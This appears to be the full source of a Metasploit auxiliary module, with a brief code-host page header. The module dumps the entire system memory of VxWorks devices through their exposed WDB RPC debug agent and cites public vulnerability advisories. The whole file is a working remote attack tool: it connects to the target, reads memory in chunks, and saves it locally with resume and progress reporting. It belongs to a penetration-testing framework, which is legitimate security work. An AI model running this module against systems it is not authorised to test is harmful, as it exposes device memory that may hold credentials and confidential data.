bcoles
113 lines
3.2 KiB
Ruby
113 lines
3.2 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::WDBRPC_Client
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'VxWorks WDB Agent Remote Memory Dump',
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'Description' => %q{
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This module provides the ability to dump the system memory of a VxWorks target through WDBRPC
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},
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'Author' => [ 'hdm'],
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'License' => MSF_LICENSE,
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'References' => [
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['OSVDB', '66842'],
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['URL', 'http://web.archive.org/web/20230402082942/https://www.rapid7.com/blog/post/2010/08/02/new-vxworks-vulnerabilities/'],
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['US-CERT-VU', '362332']
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],
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'Actions' => [
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['Download', { 'Description' => 'Dump system memory' }]
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],
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'DefaultAction' => 'Download',
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'Notes' => {
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'Stability' => [CRASH_SAFE],
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'SideEffects' => [IOC_IN_LOGS],
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'Reliability' => []
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}
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)
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)
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register_options(
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[
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OptString.new(
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'LPATH',
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[
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true,
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'The local filename to store the dumped memory',
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::File.join(Msf::Config.log_directory, 'vxworks_memory.dmp')
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]
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),
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OptInt.new('OFFSET', [ true, 'The starting offset to read the memory dump (hex allowed)', 0 ])
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]
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)
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end
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def run
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offset = datastore['OFFSET'].to_i
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print_status('Attempting to dump system memory, starting at offset 0x%02x' % offset)
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wdbrpc_client_connect
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if !@wdbrpc_info[:rt_vers]
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print_error('No response to connection request')
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return
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end
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membase = @wdbrpc_info[:rt_membase]
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memsize = @wdbrpc_info[:rt_memsize]
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mtu = @wdbrpc_info[:agent_mtu]
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print_status("Dumping #{'0x%.8x' % memsize} bytes from base address #{'0x%.8x' % membase} at offset #{'0x%.8x' % offset}...")
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lfd = nil
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if offset != 0
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begin
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# Turns out ruby's implementation of seek with "ab" mode is all kind of busted.
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lfd = ::File.open(datastore['LPATH'], 'r+b')
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lfd.seek(offset)
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rescue Errno::ENOENT
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print_error('Unable to open existing dump! Writing a new file instead of resuming...')
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lfd = ::File.open(datastore['LPATH'], 'wb')
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end
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else
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lfd = ::File.open(datastore['LPATH'], 'wb')
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end
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mtu -= 80
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idx = offset
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lpt = 0.00
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sts = Time.now.to_f
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while (idx < memsize)
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buff = wdbrpc_client_memread(membase + idx, mtu)
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if !buff
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print_error("Failed to download data at offset #{'0x%.8x' % idx}")
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return
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end
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idx += buff.length
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lfd.write(buff)
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pct = ((idx / memsize.to_f) * 10000).to_i
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pct /= 100.0
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next unless pct != lpt
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eta = Time.at(Time.now.to_f + (((Time.now.to_f - sts) / pct) * (100.0 - pct)))
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print_status("[ #{sprintf('%.2d', pct)} % ] Downloaded #{'0x%.8x' % idx} of #{'0x%.8x' % memsize} bytes (complete at #{eta})")
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lpt = pct
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end
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lfd.close
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print_status("Dumped #{'0x%.8x' % idx} bytes.")
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wdbrpc_client_disconnect
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end
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end
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